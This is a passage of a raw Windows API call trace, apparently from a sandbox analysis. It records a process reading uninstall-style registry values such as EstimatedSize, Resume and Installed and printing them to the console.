(in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.950] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.950] GetProcessHeap () returned 0x3c0000 [0150.950] GetProcessHeap () returned 0x3c0000 [0150.950] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.950] GetProcessHeap () returned 0x3c0000 [0150.950] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xca [0150.950] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.950] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.950] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.950] GetProcessHeap () returned 0x3c0000 [0150.950] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.950] GetProcessHeap () returned 0x3c0000 [0150.950] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.950] GetProcessHeap () returned 0x3c0000 [0150.950] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.950] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x44c0, pcbData=0x29f780*=0x4) returned 0x0 [0150.950] __iob_func () returned 0x7fefd702a80 [0150.950] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.950] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.950] _fileno (_File=0x7fefd702ab0) returned 1 [0150.950] _errno () returned 0x204bb0 [0150.950] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.951] _errno () returned 0x204bb0 [0150.951] GetFileType (hFile=0x50) returned 0x1 [0150.951] lstrlenW (lpString=" ") returned 4 [0150.951] GetConsoleOutputCP () returned 0x1b5 [0150.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.951] GetConsoleOutputCP () returned 0x1b5 [0150.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.951] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.951] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.951] lstrlenW (lpString="EstimatedSize") returned 13 [0150.951] __iob_func () returned 0x7fefd702a80 [0150.951] _fileno (_File=0x7fefd702ab0) returned 1 [0150.951] _errno () returned 0x204bb0 [0150.951] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.951] _errno () returned 0x204bb0 [0150.951] GetFileType (hFile=0x50) returned 0x1 [0150.951] lstrlenW (lpString="EstimatedSize") returned 13 [0150.951] GetConsoleOutputCP () returned 0x1b5 [0150.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.951] GetConsoleOutputCP () returned 0x1b5 [0150.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0150.951] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.951] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.952] __iob_func () returned 0x7fefd702a80 [0150.952] _fileno (_File=0x7fefd702ab0) returned 1 [0150.952] _errno () returned 0x204bb0 [0150.952] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.952] _errno () returned 0x204bb0 [0150.952] GetFileType (hFile=0x50) returned 0x1 [0150.952] lstrlenW (lpString=" ") returned 4 [0150.952] GetConsoleOutputCP () returned 0x1b5 [0150.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.952] GetConsoleOutputCP () returned 0x1b5 [0150.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.952] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.952] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.952] __iob_func () returned 0x7fefd702a80 [0150.952] _fileno (_File=0x7fefd702ab0) returned 1 [0150.952] _errno () returned 0x204bb0 [0150.952] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.952] _errno () returned 0x204bb0 [0150.952] GetFileType (hFile=0x50) returned 0x1 [0150.952] lstrlenW (lpString="REG_DWORD") returned 9 [0150.952] GetConsoleOutputCP () returned 0x1b5 [0150.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.952] GetConsoleOutputCP () returned 0x1b5 [0150.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.953] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.953] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.953] __iob_func () returned 0x7fefd702a80 [0150.953] _fileno (_File=0x7fefd702ab0) returned 1 [0150.953] _errno () returned 0x204bb0 [0150.953] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.953] _errno () returned 0x204bb0 [0150.953] GetFileType (hFile=0x50) returned 0x1 [0150.953] lstrlenW (lpString=" ") returned 4 [0150.953] GetConsoleOutputCP () returned 0x1b5 [0150.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.953] GetConsoleOutputCP () returned 0x1b5 [0150.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.954] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.954] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.954] __iob_func () returned 0x7fefd702a80 [0150.954] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.954] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x44c0") returned 6 [0150.954] _fileno (_File=0x7fefd702ab0) returned 1 [0150.954] _errno () returned 0x204bb0 [0150.954] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.954] _errno () returned 0x204bb0 [0150.954] GetFileType (hFile=0x50) returned 0x1 [0150.954] lstrlenW (lpString="0x44c0") returned 6 [0150.954] GetConsoleOutputCP () returned 0x1b5 [0150.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x44c0", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.954] GetConsoleOutputCP () returned 0x1b5 [0150.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x44c0", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x44c0", lpUsedDefaultChar=0x0) returned 6 [0150.954] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.954] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.954] __iob_func () returned 0x7fefd702a80 [0150.954] _fileno (_File=0x7fefd702ab0) returned 1 [0150.954] _errno () returned 0x204bb0 [0150.954] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.954] _errno () returned 0x204bb0 [0150.954] GetFileType (hFile=0x50) returned 0x1 [0150.954] lstrlenW (lpString="\n") returned 1 [0150.954] GetConsoleOutputCP () returned 0x1b5 [0150.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.955] GetConsoleOutputCP () returned 0x1b5 [0150.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.955] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.955] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.955] GetProcessHeap () returned 0x3c0000 [0150.955] GetProcessHeap () returned 0x3c0000 [0150.955] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.955] GetProcessHeap () returned 0x3c0000 [0150.955] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.955] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.955] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Resume", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.955] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Resume", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.955] GetProcessHeap () returned 0x3c0000 [0150.955] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.955] GetProcessHeap () returned 0x3c0000 [0150.955] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.955] GetProcessHeap () returned 0x3c0000 [0150.955] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.955] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Resume", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x3, pcbData=0x29f780*=0x4) returned 0x0 [0150.955] __iob_func () returned 0x7fefd702a80 [0150.955] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.955] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.955] _fileno (_File=0x7fefd702ab0) returned 1 [0150.955] _errno () returned 0x204bb0 [0150.955] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.955] _errno () returned 0x204bb0 [0150.955] GetFileType (hFile=0x50) returned 0x1 [0150.955] lstrlenW (lpString=" ") returned 4 [0150.956] GetConsoleOutputCP () returned 0x1b5 [0150.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.956] GetConsoleOutputCP () returned 0x1b5 [0150.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.956] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.956] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.956] lstrlenW (lpString="Resume") returned 6 [0150.956] __iob_func () returned 0x7fefd702a80 [0150.956] _fileno (_File=0x7fefd702ab0) returned 1 [0150.956] _errno () returned 0x204bb0 [0150.956] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.956] _errno () returned 0x204bb0 [0150.956] GetFileType (hFile=0x50) returned 0x1 [0150.956] lstrlenW (lpString="Resume") returned 6 [0150.956] GetConsoleOutputCP () returned 0x1b5 [0150.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Resume", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.956] GetConsoleOutputCP () returned 0x1b5 [0150.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Resume", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Resume", lpUsedDefaultChar=0x0) returned 6 [0150.956] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.956] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.956] __iob_func () returned 0x7fefd702a80 [0150.956] _fileno (_File=0x7fefd702ab0) returned 1 [0150.957] _errno () returned 0x204bb0 [0150.957] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.957] _errno () returned 0x204bb0 [0150.957] GetFileType (hFile=0x50) returned 0x1 [0150.957] lstrlenW (lpString=" ") returned 4 [0150.957] GetConsoleOutputCP () returned 0x1b5 [0150.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.957] GetConsoleOutputCP () returned 0x1b5 [0150.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.957] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.957] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.957] __iob_func () returned 0x7fefd702a80 [0150.957] _fileno (_File=0x7fefd702ab0) returned 1 [0150.957] _errno () returned 0x204bb0 [0150.957] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.957] _errno () returned 0x204bb0 [0150.957] GetFileType (hFile=0x50) returned 0x1 [0150.957] lstrlenW (lpString="REG_DWORD") returned 9 [0150.957] GetConsoleOutputCP () returned 0x1b5 [0150.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.957] GetConsoleOutputCP () returned 0x1b5 [0150.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.957] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.958] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.958] __iob_func () returned 0x7fefd702a80 [0150.958] _fileno (_File=0x7fefd702ab0) returned 1 [0150.958] _errno () returned 0x204bb0 [0150.958] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.958] _errno () returned 0x204bb0 [0150.958] GetFileType (hFile=0x50) returned 0x1 [0150.958] lstrlenW (lpString=" ") returned 4 [0150.958] GetConsoleOutputCP () returned 0x1b5 [0150.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.958] GetConsoleOutputCP () returned 0x1b5 [0150.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.958] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.958] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.958] __iob_func () returned 0x7fefd702a80 [0150.958] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.958] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x3") returned 3 [0150.958] _fileno (_File=0x7fefd702ab0) returned 1 [0150.958] _errno () returned 0x204bb0 [0150.958] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.958] _errno () returned 0x204bb0 [0150.958] GetFileType (hFile=0x50) returned 0x1 [0150.958] lstrlenW (lpString="0x3") returned 3 [0150.958] GetConsoleOutputCP () returned 0x1b5 [0150.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.959] GetConsoleOutputCP () returned 0x1b5 [0150.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x3", lpUsedDefaultChar=0x0) returned 3 [0150.959] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.959] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.959] __iob_func () returned 0x7fefd702a80 [0150.959] _fileno (_File=0x7fefd702ab0) returned 1 [0150.959] _errno () returned 0x204bb0 [0150.959] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.959] _errno () returned 0x204bb0 [0150.959] GetFileType (hFile=0x50) returned 0x1 [0150.959] lstrlenW (lpString="\n") returned 1 [0150.959] GetConsoleOutputCP () returned 0x1b5 [0150.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.959] GetConsoleOutputCP () returned 0x1b5 [0150.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.959] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.959] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.959] GetProcessHeap () returned 0x3c0000 [0150.959] GetProcessHeap () returned 0x3c0000 [0150.959] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.959] GetProcessHeap () returned 0x3c0000 [0150.959] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.959] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.959] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Installed", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.960] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Installed", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.960] GetProcessHeap () returned 0x3c0000 [0150.960] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.960] GetProcessHeap () returned 0x3c0000 [0150.960] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.960] GetProcessHeap () returned 0x3c0000 [0150.960] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.960] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Installed", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0150.960] __iob_func () returned 0x7fefd702a80 [0150.960] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.960] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.960] _fileno (_File=0x7fefd702ab0) returned 1 [0150.960] _errno () returned 0x204bb0 [0150.960] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.960] _errno () returned 0x204bb0 [0150.960] GetFileType (hFile=0x50) returned 0x1 [0150.960] lstrlenW (lpString=" ") returned 4 [0150.960] GetConsoleOutputCP () returned 0x1b5 [0150.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.960] GetConsoleOutputCP () returned 0x1b5 [0150.960] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.960] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.960] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.960] lstrlenW (lpString="Installed") returned 9 [0150.960] __iob_func () returned 0x7fefd702a80 [0150.960] _fileno (_File=0x7fefd702ab0) returned 1 [0150.960] _errno () returned 0x204bb0 [0150.960] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.960] _errno () returned 0x204bb0 [0150.960] GetFileType (hFile=0x50) returned 0x1 [0150.961] lstrlenW (lpString="Installed") returned 9 [0150.961] GetConsoleOutputCP () returned 0x1b5 [0150.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Installed", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.961] GetConsoleOutputCP () returned 0x1b5 [0150.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Installed", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Installed", lpUsedDefaultChar=0x0) returned 9 [0150.961] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.961] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.961] __iob_func () returned 0x7fefd702a80 [0150.961] _fileno (_File=0x7fefd702ab0) returned 1 [0150.961] _errno () returned 0x204bb0 [0150.961] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.961] _errno () returned 0x204bb0 [0150.961] GetFileType (hFile=0x50) returned 0x1 [0150.961] lstrlenW (lpString=" ") returned 4 [0150.961] GetConsoleOutputCP () returned 0x1b5 [0150.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.961] GetConsoleOutputCP () returned 0x1b5 [0150.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.961] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.961] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.962] __iob_func () returned 0x7fefd702a80 [0150.962] _fileno (_File=0x7fefd702ab0) returned 1 [0150.962] _errno () returned 0x204bb0 [0150.962] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.962] _errno () returned 0x204bb0 [0150.962] GetFileType (hFile=0x50) returned 0x1 [0150.962] lstrlenW (lpString="REG_DWORD") returned 9 [0150.962] GetConsoleOutputCP () returned 0x1b5 [0150.962] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, 